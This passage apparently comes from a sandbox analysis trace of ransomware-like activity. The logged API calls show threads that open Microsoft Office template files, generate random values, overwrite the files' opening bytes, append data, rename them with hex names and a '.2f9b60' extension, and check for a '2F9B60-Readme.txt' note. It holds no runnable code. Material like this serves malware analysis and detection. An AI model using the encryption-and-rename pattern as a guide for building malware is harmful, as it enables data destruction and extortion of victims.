out: _Dest="a9") returned 2 [0202.030] sprintf (in: _Dest=0x1b7cea0a, _Format="%c%c" | out: _Dest="25") returned 2 [0202.030] sprintf (in: _Dest=0x1b7cea0c, _Format="%c%c" | out: _Dest="1d") returned 2 [0202.031] sprintf (in: _Dest=0x1b7cea0e, _Format="%c%c" | out: _Dest="9a") returned 2 [0202.031] sprintf (in: _Dest=0x1b7cea10, _Format="%c%c" | out: _Dest="89") returned 2 [0202.031] sprintf (in: _Dest=0x1b7cea12, _Format="%c%c" | out: _Dest="0f") returned 2 [0202.031] sprintf (in: _Dest=0x1b7cea14, _Format="%c%c" | out: _Dest="b0") returned 2 [0202.031] sprintf (in: _Dest=0x1b7cea16, _Format="%c%c" | out: _Dest="d5") returned 2 [0202.031] sprintf (in: _Dest=0x1b7cea18, _Format="%c%c" | out: _Dest="46") returned 2 [0202.031] sprintf (in: _Dest=0x1b7cea1a, _Format="%c%c" | out: _Dest="ec") returned 2 [0202.031] sprintf (in: _Dest=0x1b7cea1c, _Format="%c%c" | out: _Dest="4b") returned 2 [0202.031] sprintf (in: _Dest=0x1b7cea1e, _Format="%c%c" | out: _Dest="44") returned 2 [0202.031] sprintf (in: _Dest=0x1b7cea20, _Format="%c%c" | out: _Dest="ac") returned 2 [0202.031] sprintf (in: _Dest=0x1b7cea22, _Format="%c%c" | out: _Dest="4f") returned 2 [0202.031] sprintf (in: _Dest=0x1b7cea24, _Format="%c%c" | out: _Dest="c4") returned 2 [0202.031] sprintf (in: _Dest=0x1b7cea26, _Format="%c%c" | out: _Dest="df") returned 2 [0202.031] sprintf (in: _Dest=0x1b7cea28, _Format="%c%c" | out: _Dest="a1") returned 2 [0202.031] sprintf (in: _Dest=0x1b7cea2a, _Format="%c%c" | out: _Dest="40") returned 2 [0202.031] sprintf (in: _Dest=0x1b7cea2c, _Format="%c%c" | out: _Dest="bb") returned 2 [0202.031] sprintf (in: _Dest=0x1b7cea2e, _Format="%c%c" | out: _Dest="84") returned 2 [0202.031] sprintf (in: _Dest=0x1b7cea30, _Format="%c%c" | out: _Dest="3d") returned 2 [0202.031] sprintf (in: _Dest=0x1b7cea32, _Format="%c%c" | out: _Dest="f4") returned 2 [0202.031] sprintf (in: _Dest=0x1b7cea34, _Format="%c%c" | out: _Dest="8a") returned 2 [0202.031] sprintf (in: _Dest=0x1b7cea36, _Format="%c%c" | out: _Dest="39") returned 2 [0202.031] sprintf (in: _Dest=0x1b7cea38, _Format="%c%c" | out: _Dest="f2") returned 2 [0202.031] sprintf (in: _Dest=0x1b7cea3a, _Format="%c%c" | out: _Dest="e4") returned 2 [0202.031] sprintf (in: _Dest=0x1b7cea3c, _Format="%c%c" | out: _Dest="53") returned 2 [0202.031] sprintf (in: _Dest=0x1b7cea3e, _Format="%c%c" | out: _Dest="a4") returned 2 [0202.032] sprintf (in: _Dest=0x1b7cea40, _Format="%c%c" | out: _Dest="04") returned 2 [0202.032] sprintf (in: _Dest=0x1b7cea42, _Format="%c%c" | out: _Dest="24") returned 2 [0202.032] sprintf (in: _Dest=0x1b7cea44, _Format="%c%c" | out: _Dest="3a") returned 2 [0202.032] sprintf (in: _Dest=0x1b7cea46, _Format="%c%c" | out: _Dest="22") returned 2 [0202.032] sprintf (in: _Dest=0x1b7cea48, _Format="%c%c" | out: _Dest="be") returned 2 [0202.032] sprintf (in: _Dest=0x1b7cea4a, _Format="%c%c" | out: _Dest="95") returned 2 [0202.032] sprintf (in: _Dest=0x1b7cea4c, _Format="%c%c" | out: _Dest="bc") returned 2 [0202.032] sprintf (in: _Dest=0x1b7cea4e, _Format="%c%c" | out: _Dest="7f") returned 2 [0202.032] sprintf (in: _Dest=0x1b7cea50, _Format="%c%c" | out: _Dest="88") returned 2 [0202.032] sprintf (in: _Dest=0x1b7cea52, _Format="%c%c" | out: _Dest="56") returned 2 [0202.032] RtlInitAnsiString (in: DestinationString=0x35c4fe68, SourceString="836e4084a9251d9a890fb0d546ec4b44ac4fc4dfa140bb843df48a39f2e453a404243a22be95bc7f8856" | out: DestinationString="836e4084a9251d9a890fb0d546ec4b44ac4fc4dfa140bb843df48a39f2e453a404243a22be95bc7f8856") [0202.032] RtlAnsiStringToUnicodeString (in: DestinationString=0x35c4fe38, SourceString="836e4084a9251d9a890fb0d546ec4b44ac4fc4dfa140bb843df48a39f2e453a404243a22be95bc7f8856", AllocateDestinationString=1 | out: DestinationString="836e4084a9251d9a890fb0d546ec4b44ac4fc4dfa140bb843df48a39f2e453a404243a22be95bc7f8856") returned 0x0 [0202.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x4311a960 [0202.033] wcscat (in: _Dest=0x431a8400, _Source="836e4084a9251d9a890fb" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\836e4084a9251d9a890fb") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\836e4084a9251d9a890fb" [0202.033] wcscat (in: _Dest=0x431a8400, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\836e4084a9251d9a890fb.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\836e4084a9251d9a890fb.2f9b60" [0202.033] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\836e4084a9251d9a890fb.2f9b60", NtPathName=0x35c4fe10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\836e4084a9251d9a890fb.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0202.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x4310b5c0 Thread: id = 1137 os_tid = 0xab8 [0112.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BillingStatement.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\billingstatement.xltx")) returned 0x20 [0112.937] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BillingStatement.xltx", dwFileAttributes=0x20) returned 1 [0112.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BillingStatement.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\billingstatement.xltx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1568 [0112.939] GetFileSizeEx (in: hFile=0x1568, lpFileSize=0x35d3f9c0 | out: lpFileSize=0x35d3f9c0*=18376) returned 1 [0112.939] SetFilePointerEx (in: hFile=0x1568, liDistanceToMove=0x47c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.939] ReadFile (in: hFile=0x1568, lpBuffer=0x35d3f940, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x35d3f988, lpOverlapped=0x0 | out: lpBuffer=0x35d3f940*, lpNumberOfBytesRead=0x35d3f988*=0x4, lpOverlapped=0x0) returned 1 [0112.941] SetFilePointerEx (in: hFile=0x1568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262240 [0112.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202628d0 [0112.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262990 [0112.941] NtQuerySystemTime (in: CurrentTime=0x35d3f880 | out: CurrentTime=0x35d3f880*=132462177183958000) returned 0x0 [0112.941] RtlRandomEx (in: Seed=0x35d3f870 | out: Seed=0x35d3f870) returned 0x6b40e707 [0112.941] RtlRandomEx (in: Seed=0x35d3f870 | out: Seed=0x35d3f870) returned 0x2a84a80b [0112.941] RtlRandomEx (in: Seed=0x35d3f870 | out: Seed=0x35d3f870) returned 0x7c68d131 [0112.941] RtlRandomEx (in: Seed=0x35d3f870 | out: Seed=0x35d3f870) returned 0x60be0c32 [0112.941] RtlRandomEx (in: Seed=0x35d3f870 | out: Seed=0x35d3f870) returned 0x1fd03012 [0112.941] RtlRandomEx (in: Seed=0x35d3f870 | out: Seed=0x35d3f870) returned 0x6ccb0232 [0112.941] RtlRandomEx (in: Seed=0x35d3f870 | out: Seed=0x35d3f870) returned 0x2aba514d [0112.942] RtlRandomEx (in: Seed=0x35d3f870 | out: Seed=0x35d3f870) returned 0x259c2a8b [0112.942] RtlRandomEx (in: Seed=0x35d3f870 | out: Seed=0x35d3f870) returned 0x582772fc [0112.942] RtlRandomEx (in: Seed=0x35d3f870 | out: Seed=0x35d3f870) returned 0x3106ae28 [0112.942] RtlRandomEx (in: Seed=0x35d3f870 | out: Seed=0x35d3f870) returned 0x41389852 [0112.942] RtlRandomEx (in: Seed=0x35d3f870 | out: Seed=0x35d3f870) returned 0x6e3aa293 [0112.942] RtlRandomEx (in: Seed=0x35d3f870 | out: Seed=0x35d3f870) returned 0x2a97106d [0112.942] RtlRandomEx (in: Seed=0x35d3f870 | out: Seed=0x35d3f870) returned 0x44492df0 [0112.942] RtlRandomEx (in: Seed=0x35d3f870 | out: Seed=0x35d3f870) returned 0x6cc5da2e [0112.942] RtlRandomEx (in: Seed=0x35d3f870 | out: Seed=0x35d3f870) returned 0x148a8092 [0112.942] RtlRandomEx (in: Seed=0x35d3f870 | out: Seed=0x35d3f870) returned 0x5fbad893 [0112.942] RtlRandomEx (in: Seed=0x35d3f870 | out: Seed=0x35d3f870) returned 0x1527a801 [0112.942] RtlRandomEx (in: Seed=0x35d3f870 | out: Seed=0x35d3f870) returned 0x5b0e3e28 [0112.942] RtlRandomEx (in: Seed=0x35d3f870 | out: Seed=0x35d3f870) returned 0x26160cf5 [0112.942] RtlRandomEx (in: Seed=0x35d3f870 | out: Seed=0x35d3f870) returned 0x5c96c927 [0112.942] RtlRandomEx (in: Seed=0x35d3f870 | out: Seed=0x35d3f870) returned 0x18704832 [0112.942] RtlRandomEx (in: Seed=0x35d3f870 | out: Seed=0x35d3f870) returned 0x623f54e2 [0112.942] RtlRandomEx (in: Seed=0x35d3f870 | out: Seed=0x35d3f870) returned 0xcbeb654 [0112.943] RtlRandomEx (in: Seed=0x35d3f870 | out: Seed=0x35d3f870) returned 0x5ce12864 [0112.943] RtlRandomEx (in: Seed=0x35d3f870 | out: Seed=0x35d3f870) returned 0x4ebdcd75 [0112.943] RtlRandomEx (in: Seed=0x35d3f870 | out: Seed=0x35d3f870) returned 0x70877438 [0112.943] RtlRandomEx (in: Seed=0x35d3f870 | out: Seed=0x35d3f870) returned 0x305476ad [0112.943] RtlRandomEx (in: Seed=0x35d3f870 | out: Seed=0x35d3f870) returned 0x26df7d6f [0112.943] RtlRandomEx (in: Seed=0x35d3f870 | out: Seed=0x35d3f870) returned 0x75804ff0 [0112.943] RtlRandomEx (in: Seed=0x35d3f870 | out: Seed=0x35d3f870) returned 0x6bce324d [0112.943] RtlRandomEx (in: Seed=0x35d3f870 | out: Seed=0x35d3f870) returned 0x7a754300 [0112.956] SetFilePointerEx (in: hFile=0x1568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.956] ReadFile (in: hFile=0x1568, lpBuffer=0x41de2d00, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x35d3f8e0, lpOverlapped=0x0 | out: lpBuffer=0x41de2d00*, lpNumberOfBytesRead=0x35d3f8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0112.957] SetFilePointerEx (in: hFile=0x1568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.957] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c210 [0112.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868ac0 [0112.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262240 [0112.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262240) returned 1 [0112.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41df5950 [0112.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262240 [0112.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262990 [0112.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262990) returned 1 [0112.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ac0) returned 1 [0112.959] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c210) returned 1 [0112.959] WriteFile (in: hFile=0x1568, lpBuffer=0x41df5950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x35d3f8e0, lpOverlapped=0x0 | out: lpBuffer=0x41df5950*, lpNumberOfBytesWritten=0x35d3f8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0128.795] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41df5950) returned 1 [0128.795] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41de2d00) returned 1 [0128.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1cd9e930 [0128.796] SetFilePointerEx (in: hFile=0x1568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0128.796] WriteFile (in: hFile=0x1568, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x35d3f990, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x35d3f990*=0x11c, lpOverlapped=0x0) returned 1 [0128.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c4e0 [0128.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867d40 [0128.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6d20 [0128.798] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6d20) returned 1 [0128.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9fa70 [0128.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6d20 [0128.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7e60 [0128.798] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7e60) returned 1 [0128.798] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867d40) returned 1 [0128.799] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c4e0) returned 1 [0128.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x55) returned 0x1cd9c370 [0128.799] sprintf (in: _Dest=0x1cd9c370, _Format="%c%c" | out: _Dest="94") returned 2 [0128.799] sprintf (in: _Dest=0x1cd9c372, _Format="%c%c" | out: _Dest="83") returned 2 [0128.799] sprintf (in: _Dest=0x1cd9c374, _Format="%c%c" | out: _Dest="f3") returned 2 [0128.799] sprintf (in: _Dest=0x1cd9c376, _Format="%c%c" | out: _Dest="c8") returned 2 [0128.799] sprintf (in: _Dest=0x1cd9c378, _Format="%c%c" | out: _Dest="5c") returned 2 [0128.799] sprintf (in: _Dest=0x1cd9c37a, _Format="%c%c" | out: _Dest="11") returned 2 [0128.799] sprintf (in: _Dest=0x1cd9c37c, _Format="%c%c" | out: _Dest="75") returned 2 [0128.799] sprintf (in: _Dest=0x1cd9c37e, _Format="%c%c" | out: _Dest="ee") returned 2 [0128.799] sprintf (in: _Dest=0x1cd9c380, _Format="%c%c" | out: _Dest="de") returned 2 [0128.799] sprintf (in: _Dest=0x1cd9c382, _Format="%c%c" | out: _Dest="6b") returned 2 [0128.799] sprintf (in: _Dest=0x1cd9c384, _Format="%c%c" | out: _Dest="42") returned 2 [0128.799] sprintf (in: _Dest=0x1cd9c386, _Format="%c%c" | out: _Dest="c8") returned 2 [0128.799] sprintf (in: _Dest=0x1cd9c388, _Format="%c%c" | out: _Dest="95") returned 2 [0128.799] sprintf (in: _Dest=0x1cd9c38a, _Format="%c%c" | out: _Dest="1a") returned 2 [0128.799] sprintf (in: _Dest=0x1cd9c38c, _Format="%c%c" | out: _Dest="ee") returned 2 [0128.799] sprintf (in: _Dest=0x1cd9c38e, _Format="%c%c" | out: _Dest="f8") returned 2 [0128.799] sprintf (in: _Dest=0x1cd9c390, _Format="%c%c" | out: _Dest="4a") returned 2 [0128.800] sprintf (in: _Dest=0x1cd9c392, _Format="%c%c" | out: _Dest="ae") returned 2 [0128.800] sprintf (in: _Dest=0x1cd9c394, _Format="%c%c" | out: _Dest="95") returned 2 [0128.800] sprintf (in: _Dest=0x1cd9c396, _Format="%c%c" | out: _Dest="b4") returned 2 [0128.800] sprintf (in: _Dest=0x1cd9c398, _Format="%c%c" | out: _Dest="c3") returned 2 [0128.800] sprintf (in: _Dest=0x1cd9c39a, _Format="%c%c" | out: _Dest="29") returned 2 [0128.800] sprintf (in: _Dest=0x1cd9c39c, _Format="%c%c" | out: _Dest="3a") returned 2 [0128.800] sprintf (in: _Dest=0x1cd9c39e, _Format="%c%c" | out: _Dest="e6") returned 2 [0128.800] sprintf (in: _Dest=0x1cd9c3a0, _Format="%c%c" | out: _Dest="97") returned 2 [0128.800] sprintf (in: _Dest=0x1cd9c3a2, _Format="%c%c" | out: _Dest="f4") returned 2 [0128.800] sprintf (in: _Dest=0x1cd9c3a4, _Format="%c%c" | out: _Dest="f2") returned 2 [0128.800] sprintf (in: _Dest=0x1cd9c3a6, _Format="%c%c" | out: _Dest="e4") returned 2 [0128.800] sprintf (in: _Dest=0x1cd9c3a8, _Format="%c%c" | out: _Dest="9a") returned 2 [0128.800] sprintf (in: _Dest=0x1cd9c3aa, _Format="%c%c" | out: _Dest="08") returned 2 [0128.800] sprintf (in: _Dest=0x1cd9c3ac, _Format="%c%c" | out: _Dest="fa") returned 2 [0128.800] sprintf (in: _Dest=0x1cd9c3ae, _Format="%c%c" | out: _Dest="2e") returned 2 [0128.800] sprintf (in: _Dest=0x1cd9c3b0, _Format="%c%c" | out: _Dest="24") returned 2 [0128.800] sprintf (in: _Dest=0x1cd9c3b2, _Format="%c%c" | out: _Dest="98") returned 2 [0128.800] sprintf (in: _Dest=0x1cd9c3b4, _Format="%c%c" | out: _Dest="58") returned 2 [0128.800] sprintf (in: _Dest=0x1cd9c3b6, _Format="%c%c" | out: _Dest="fe") returned 2 [0128.800] sprintf (in: _Dest=0x1cd9c3b8, _Format="%c%c" | out: _Dest="37") returned 2 [0128.800] sprintf (in: _Dest=0x1cd9c3ba, _Format="%c%c" | out: _Dest="9f") returned 2 [0128.800] sprintf (in: _Dest=0x1cd9c3bc, _Format="%c%c" | out: _Dest="8b") returned 2 [0128.801] sprintf (in: _Dest=0x1cd9c3be, _Format="%c%c" | out: _Dest="32") returned 2 [0128.801] sprintf (in: _Dest=0x1cd9c3c0, _Format="%c%c" | out: _Dest="78") returned 2 [0128.801] sprintf (in: _Dest=0x1cd9c3c2, _Format="%c%c" | out: _Dest="10") returned 2 [0128.801] RtlInitAnsiString (in: DestinationString=0x35d3fa08, SourceString="9483f3c85c1175eede6b42c8951aeef84aae95b4c3293ae697f4f2e49a08fa2e249858fe379f8b327810" | out: DestinationString="9483f3c85c1175eede6b42c8951aeef84aae95b4c3293ae697f4f2e49a08fa2e249858fe379f8b327810") [0128.801] RtlAnsiStringToUnicodeString (in: DestinationString=0x35d3f9d8, SourceString="9483f3c85c1175eede6b42c8951aeef84aae95b4c3293ae697f4f2e49a08fa2e249858fe379f8b327810", AllocateDestinationString=1 | out: DestinationString="9483f3c85c1175eede6b42c8951aeef84aae95b4c3293ae697f4f2e49a08fa2e249858fe379f8b327810") returned 0x0 [0128.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x106f40 [0128.801] wcscat (in: _Dest=0x1b8615f0, _Source="9483f3c85c1175eede6b4" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\9483f3c85c1175eede6b4") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\9483f3c85c1175eede6b4" [0128.801] wcscat (in: _Dest=0x1b8615f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\9483f3c85c1175eede6b4.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\9483f3c85c1175eede6b4.2f9b60" [0128.801] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\9483f3c85c1175eede6b4.2f9b60", NtPathName=0x35d3f9b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\9483f3c85c1175eede6b4.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0128.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x1197f0 [0128.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1197f0) returned 1 [0128.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0128.804] NtQueryInformationFile (in: FileHandle=0x1568, IoStatusBlock=0x35d3fa18, FileInformation=0x35d3fa28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x35d3fa18, FileInformation=0x35d3fa28) returned 0x0 [0128.805] NtSetInformationFile (FileHandle=0x1568, IoStatusBlock=0x35d3fa18, FileInformation=0x35d3fa28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0128.807] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8615f0) returned 1 [0128.807] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106f40) returned 1 [0128.807] FlushFileBuffers (hFile=0x1568) returned 1 [0128.809] CloseHandle (hObject=0x1568) returned 1 [0128.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202aead0 [0128.811] wcscpy (in: _Dest=0x202aead0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0128.811] wcscat (in: _Dest=0x202aead0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2F9B60-Readme.txt" [0128.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\2f9b60-readme.txt")) returned 0x20 [0128.812] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aead0) returned 1 [0128.812] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027ab50) returned 1 Thread: id = 1138 os_tid = 0xab4 [0112.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktieletter.dotx")) returned 0x20 [0112.963] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieLetter.dotx", dwFileAttributes=0x20) returned 1 [0112.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktieletter.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15dc [0112.964] GetFileSizeEx (in: hFile=0x15dc, lpFileSize=0x35e8fa80 | out: lpFileSize=0x35e8fa80*=6104037) returned 1 [0112.964] SetFilePointerEx (in: hFile=0x15dc, liDistanceToMove=0x5d23e1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.964] ReadFile (in: hFile=0x15dc, lpBuffer=0x35e8fa00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x35e8fa48, lpOverlapped=0x0 | out: lpBuffer=0x35e8fa00*, lpNumberOfBytesRead=0x35e8fa48*=0x4, lpOverlapped=0x0) returned 1 [0112.966] SetFilePointerEx (in: hFile=0x15dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262990 [0112.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261be0 [0112.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261d30 [0112.966] NtQuerySystemTime (in: CurrentTime=0x35e8f940 | out: CurrentTime=0x35e8f940*=132462177184270000) returned 0x0 [0112.966] RtlRandomEx (in: Seed=0x35e8f930 | out: Seed=0x35e8f930) returned 0x3b3b281a [0112.967] RtlRandomEx (in: Seed=0x35e8f930 | out: Seed=0x35e8f930) returned 0x9717c4d [0112.967] RtlRandomEx (in: Seed=0x35e8f930 | out: Seed=0x35e8f930) returned 0x74a8c73a [0112.967] RtlRandomEx (in: Seed=0x35e8f930 | out: Seed=0x35e8f930) returned 0x2923c031 [0112.967] RtlRandomEx (in: Seed=0x35e8f930 | out: Seed=0x35e8f930) returned 0x7ee64853 [0112.967] RtlRandomEx (in: Seed=0x35e8f930 | out: Seed=0x35e8f930) returned 0x235c71f [0112.967] RtlRandomEx (in: Seed=0x35e8f930 | out: Seed=0x35e8f930) returned 0x782b28ae [0112.967] RtlRandomEx (in: Seed=0x35e8f930 | out: Seed=0x35e8f930) returned 0x65f96a82 [0112.967] RtlRandomEx (in: Seed=0x35e8f930 | out: Seed=0x35e8f930) returned 0x417224bc [0112.967] RtlRandomEx (in: Seed=0x35e8f930 | out: Seed=0x35e8f930) returned 0x5837ff95 [0112.967] RtlRandomEx (in: Seed=0x35e8f930 | out: Seed=0x35e8f930) returned 0x3de9246d [0112.967] RtlRandomEx (in: Seed=0x35e8f930 | out: Seed=0x35e8f930) returned 0x65fd4455 [0112.967] RtlRandomEx (in: Seed=0x35e8f930 | out: Seed=0x35e8f930) returned 0x1e4405e5 [0112.967] RtlRandomEx (in: Seed=0x35e8f930 | out: Seed=0x35e8f930) returned 0x3226ba3f [0112.967] RtlRandomEx (in: Seed=0x35e8f930 | out: Seed=0x35e8f930) returned 0x555ba8e1 [0112.967] RtlRandomEx (in: Seed=0x35e8f930 | out: Seed=0x35e8f930) returned 0xa81edf3 [0112.967] RtlRandomEx (in: Seed=0x35e8f930 | out: Seed=0x35e8f930) returned 0x2c928c1b [0112.967] RtlRandomEx (in: Seed=0x35e8f930 | out: Seed=0x35e8f930) returned 0x72d17d32 [0112.967] RtlRandomEx (in: Seed=0x35e8f930 | out: Seed=0x35e8f930) returned 0x7f4abcf7 [0112.967] RtlRandomEx (in: Seed=0x35e8f930 | out: Seed=0x35e8f930) returned 0x1d6ad965 [0112.967] RtlRandomEx (in: Seed=0x35e8f930 | out: Seed=0x35e8f930) returned 0x23698fdb [0112.967] RtlRandomEx (in: Seed=0x35e8f930 | out: Seed=0x35e8f930) returned 0x18b9d9df [0112.967] RtlRandomEx (in: Seed=0x35e8f930 | out: Seed=0x35e8f930) returned 0x30eecc57 [0112.967] RtlRandomEx (in: Seed=0x35e8f930 | out: Seed=0x35e8f930) returned 0x32dac4da [0112.967] RtlRandomEx (in: Seed=0x35e8f930 | out: Seed=0x35e8f930) returned 0x6d360b52 [0112.967] RtlRandomEx (in: Seed=0x35e8f930 | out: Seed=0x35e8f930) returned 0x789f6aeb [0112.968] RtlRandomEx (in: Seed=0x35e8f930 | out: Seed=0x35e8f930) returned 0x33e86a70 [0112.968] RtlRandomEx (in: Seed=0x35e8f930 | out: Seed=0x35e8f930) returned 0x74ec0846 [0112.968] RtlRandomEx (in: Seed=0x35e8f930 | out: Seed=0x35e8f930) returned 0x2a682747 [0112.968] RtlRandomEx (in: Seed=0x35e8f930 | out: Seed=0x35e8f930) returned 0x4c2204eb [0112.968] RtlRandomEx (in: Seed=0x35e8f930 | out: Seed=0x35e8f930) returned 0x543131bb [0112.968] RtlRandomEx (in: Seed=0x35e8f930 | out: Seed=0x35e8f930) returned 0x3e2469e7 [0112.979] SetFilePointerEx (in: hFile=0x15dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.979] ReadFile (in: hFile=0x15dc, lpBuffer=0x41e085a0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x35e8f9a0, lpOverlapped=0x0 | out: lpBuffer=0x41e085a0*, 